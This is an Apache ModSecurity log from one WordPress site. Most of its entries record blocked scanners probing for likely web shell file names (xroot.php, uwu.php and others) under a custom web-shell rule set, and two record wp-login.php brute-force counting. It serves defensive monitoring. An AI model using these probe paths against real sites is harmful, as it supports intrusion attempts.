[Fri Apr 24 08:32:04.882894 2026] [:error] [pid 52129:tid 52141] [client 51.120.70.44:58098] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/485.php"] [unique_id "aeq6BOKCZKf8_u2LKiAPNQAAAQg"]
[Fri Apr 24 08:32:05.705539 2026] [:error] [pid 52129:tid 52149] [client 51.120.70.44:42363] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/485.php"] [unique_id "aeq6BeKCZKf8_u2LKiAPOgAAARA"]
[Fri Apr 24 08:32:06.877014 2026] [:error] [pid 19200:tid 19222] [client 51.120.70.44:43127] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/485.php"] [unique_id "aeq6BjQ--M3-tsKAnhEW1QAAAM4"]
[Fri Apr 24 08:32:07.779038 2026] [:error] [pid 19200:tid 19227] [client 51.120.70.44:48836] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/485.php"] [unique_id "aeq6BzQ--M3-tsKAnhEW1wAAANM"]
[Fri Apr 24 08:32:08.849181 2026] [:error] [pid 19200:tid 19229] [client 51.120.70.44:5591] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "aeq6CDQ--M3-tsKAnhEW3QAAANU"]
[Fri Apr 24 08:32:09.692105 2026] [:error] [pid 52129:tid 52143] [client 51.120.70.44:48889] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "aeq6CeKCZKf8_u2LKiAPWAAAAQo"]
[Fri Apr 24 08:32:10.710091 2026] [:error] [pid 52129:tid 52156] [client 51.120.70.44:48883] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "aeq6CuKCZKf8_u2LKiAPXAAAARc"]
[Fri Apr 24 08:32:11.654071 2026] [:error] [pid 19100:tid 19132] [client 51.120.70.44:57405] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "aeq6C7F_hzQs4CqbifdScQAAABY"]
[Fri Apr 24 08:32:12.672325 2026] [:error] [pid 52129:tid 52140] [client 51.120.70.44:42257] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "aeq6DOKCZKf8_u2LKiAPYgAAAQc"]
[Fri Apr 24 08:32:13.278382 2026] [:error] [pid 19102:tid 19188] [client 51.120.70.44:56234] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "aeq6DQDSgrbLEZbkqD4lHwAAAJg"]
[Fri Apr 24 08:32:14.441700 2026] [:error] [pid 52129:tid 52137] [client 51.120.70.44:56239] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "aeq6DuKCZKf8_u2LKiAPZgAAAQQ"]
[Fri Apr 24 08:32:15.298331 2026] [:error] [pid 19101:tid 19143] [client 51.120.70.44:56550] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "aeq6D2AHj9bEvrTgbO0cMAAAAEY"]
[Fri Apr 24 08:43:46.421843 2026] [:error] [pid 52129:tid 52155] [client 209.141.37.194:59273] [client 209.141.37.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.37.194, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeq8wuKCZKf8_u2LKiAZLwAAARY"]
[Fri Apr 24 08:43:47.662766 2026] [:error] [pid 52129:tid 52141] [client 209.141.37.194:59273] [client 209.141.37.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.37.194, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeq8w-KCZKf8_u2LKiAZNAAAAQg"]
[Fri Apr 24 08:55:07.207393 2026] [:error] [pid 19102:tid 19177] [client 20.216.173.101:33885] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/G-In.php"] [unique_id "aeq_awDSgrbLEZbkqD4xFAAAAI0"]
[Fri Apr 24 08:55:08.769483 2026] [:error] [pid 19200:tid 19232] [client 20.216.173.101:29129] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/G-In.php"] [unique_id "aeq_bDQ--M3-tsKAnhEl5AAAANg"]
[Fri Apr 24 08:55:15.625027 2026] [:error] [pid 52129:tid 52157] [client 20.216.173.101:58400] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/G-In.php"] [unique_id "aeq_c-KCZKf8_u2LKiAi9wAAARg"]
[Fri Apr 24 08:55:17.625885 2026] [:error] [pid 52129:tid 52138] [client 20.216.173.101:29116] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/G-In.php"] [unique_id "aeq_deKCZKf8_u2LKiAjHAAAAQU"]
[Fri Apr 24 08:55:21.210767 2026] [:error] [pid 19100:tid 19123] [client 20.216.173.101:4244] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj11.php"] [unique_id "aeq_ebF_hzQs4CqbifdZhQAAAA0"]
[Fri Apr 24 08:55:24.488809 2026] [:error] [pid 19102:tid 19169] [client 20.216.173.101:62631] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj11.php"] [unique_id "aeq_fADSgrbLEZbkqD4xYAAAAIU"]
[Fri Apr 24 08:55:26.480351 2026] [:error] [pid 19101:tid 19143] [client 20.216.173.101:62635] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj11.php"] [unique_id "aeq_fmAHj9bEvrTgbO0k1QAAAEY"]
[Fri Apr 24 08:55:28.667220 2026] [:error] [pid 19102:tid 19184] [client 20.216.173.101:30570] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj11.php"] [unique_id "aeq_gADSgrbLEZbkqD4xawAAAJQ"]
[Fri Apr 24 08:55:30.665128 2026] [:error] [pid 19102:tid 19168] [client 20.216.173.101:22969] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "aeq_ggDSgrbLEZbkqD4xdAAAAIQ"]
[Fri Apr 24 08:55:32.107374 2026] [:error] [pid 19100:tid 19130] [client 20.216.173.101:22961] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "aeq_hLF_hzQs4CqbifdZlQAAABQ"]
[Fri Apr 24 08:55:32.870671 2026] [:error] [pid 19101:tid 19147] [client 20.216.173.101:4760] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "aeq_hGAHj9bEvrTgbO0k3gAAAEo"]
[Fri Apr 24 08:55:33.633821 2026] [:error] [pid 19102:tid 19188] [client 20.216.173.101:43888] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "aeq_hQDSgrbLEZbkqD4xewAAAJg"]
[Fri Apr 24 08:55:34.630096 2026] [:error] [pid 19102:tid 19182] [client 20.216.173.101:60148] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xroot.php"] [unique_id "aeq_hgDSgrbLEZbkqD4xgQAAAJI"]
[Fri Apr 24 08:55:37.061514 2026] [:error] [pid 19100:tid 19122] [client 20.216.173.101:14521] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xroot.php"] [unique_id "aeq_ibF_hzQs4CqbifdZnwAAAAw"]
[Fri Apr 24 08:55:38.960926 2026] [:error] [pid 52129:tid 52144] [client 20.216.173.101:4320] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xroot.php"] [unique_id "aeq_iuKCZKf8_u2LKiAjaAAAAQs"]
[Fri Apr 24 08:55:40.467471 2026] [:error] [pid 19200:tid 19219] [client 20.216.173.101:63755] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xroot.php"] [unique_id "aeq_jDQ--M3-tsKAnhEmRQAAAMs"]
[Fri Apr 24 08:55:43.995304 2026] [:error] [pid 19102:tid 19179] [client 20.216.173.101:46314] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "aeq_jwDSgrbLEZbkqD4xiwAAAI8"]
[Fri Apr 24 08:55:45.610188 2026] [:error] [pid 19101:tid 19158] [client 20.216.173.101:50613] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "aeq_kWAHj9bEvrTgbO0k6wAAAFU"]
[Fri Apr 24 08:55:47.697974 2026] [:error] [pid 52129:tid 52150] [client 20.216.173.101:13941] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "aeq_k-KCZKf8_u2LKiAjjAAAARE"]
[Fri Apr 24 08:55:49.462810 2026] [:error] [pid 19102:tid 19170] [client 20.216.173.101:36463] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tea.php"] [unique_id "aeq_lQDSgrbLEZbkqD4xlQAAAIY"]
[Fri Apr 24 08:55:50.972992 2026] [:error] [pid 19102:tid 19186] [client 20.216.173.101:34475] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "aeq_lgDSgrbLEZbkqD4xmwAAAJY"]
[Fri Apr 24 08:55:51.821160 2026] [:error] [pid 19102:tid 19169] [client 20.216.173.101:40131] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "aeq_lwDSgrbLEZbkqD4xnQAAAIU"]
[Fri Apr 24 08:55:53.540950 2026] [:error] [pid 19102:tid 19181] [client 20.216.173.101:25424] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "aeq_mQDSgrbLEZbkqD4xoAAAAJE"]
[Fri Apr 24 08:55:55.526881 2026] [:error] [pid 19102:tid 19180] [client 20.216.173.101:4488] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uwu.php"] [unique_id "aeq_mwDSgrbLEZbkqD4xpAAAAJA"]
[Fri Apr 24 08:55:57.680711 2026] [:error] [pid 19100:tid 19134] [client 20.216.173.101:54712] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aios-bootstrap.php"] [unique_id "aeq_nbF_hzQs4CqbifdZ0AAAABg"]
[Fri Apr 24 08:56:00.124253 2026] [:error] [pid 19101:tid 19161] [client 20.216.173.101:25463] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aios-bootstrap.php"] [unique_id "aeq_oGAHj9bEvrTgbO0lCgAAAFg"]
[Fri Apr 24 08:56:01.208455 2026] [:error] [pid 19101:tid 19141] [client 20.216.173.101:40951] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aios-bootstrap.php"] [unique_id "aeq_oWAHj9bEvrTgbO0lDQAAAEQ"]
[Fri Apr 24 08:56:02.018822 2026] [:error] [pid 52129:tid 52142] [client 20.216.173.101:40150] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aios-bootstrap.php"] [unique_id "aeq_ouKCZKf8_u2LKiAjnQAAAQk"]
[Fri Apr 24 08:56:04.257276 2026] [:error] [pid 52129:tid 52133] [client 20.216.173.101:54149] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "aeq_pOKCZKf8_u2LKiAjpgAAAQA"]
[Fri Apr 24 08:56:05.793950 2026] [:error] [pid 52129:tid 52135] [client 20.216.173.101:40162] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "aeq_peKCZKf8_u2LKiAjsAAAAQI"]
[Fri Apr 24 08:56:24.006452 2026] [:error] [pid 19200:tid 19219] [client 20.216.173.101:46254] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "aeq_uDQ--M3-tsKAnhEnywAAAMs"]
[Fri Apr 24 08:56:26.260092 2026] [:error] [pid 19102:tid 19185] [client 20.216.173.101:47920] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "aeq_ugDSgrbLEZbkqD4yMQAAAJU"]
[Fri Apr 24 08:56:27.392836 2026] [:error] [pid 52129:tid 52137] [client 20.216.173.101:42663] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "aeq_u-KCZKf8_u2LKiAkoAAAAQQ"]
[Fri Apr 24 08:56:29.398724 2026] [:error] [pid 19200:tid 19223] [client 20.216.173.101:48448] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "aeq_vTQ--M3-tsKAnhEn2AAAAM8"]
[Fri Apr 24 08:56:32.617960 2026] [:error] [pid 19102:tid 19179] [client 20.216.173.101:28488] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aeq_wADSgrbLEZbkqD4yOgAAAI8"]
[Fri Apr 24 08:56:34.100693 2026] [:error] [pid 52129:tid 52139] [client 20.216.173.101:47951] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aeq_wuKCZKf8_u2LKiAkrAAAAQY"]
[Fri Apr 24 08:56:36.256161 2026] [:error] [pid 19102:tid 19172] [client 20.216.173.101:28486] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aeq_xADSgrbLEZbkqD4yQgAAAIg"]
[Fri Apr 24 08:56:37.758541 2026] [:error] [pid 52129:tid 52152] [client 20.216.173.101:25433] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aeq_xeKCZKf8_u2LKiAktgAAARM"]
[Fri Apr 24 08:56:38.923789 2026] [:error] [pid 52129:tid 52154] [client 20.216.173.101:28512] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "aeq_xuKCZKf8_u2LKiAkuQAAARU"]
[Fri Apr 24 08:56:40.473028 2026] [:error] [pid 19102:tid 19164] [client 20.216.173.101:54694] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "aeq_yADSgrbLEZbkqD4yRwAAAIA"]
[Fri Apr 24 08:56:42.135646 2026] [:error] [pid 19102:tid 19181] [client 20.216.173.101:54705] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "aeq_ygDSgrbLEZbkqD4yTwAAAJE"]
[Fri Apr 24 08:56:43.425689 2026] [:error] [pid 19101:tid 19157] [client 20.216.173.101:4700] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "aeq_y2AHj9bEvrTgbO0loQAAAFQ"]
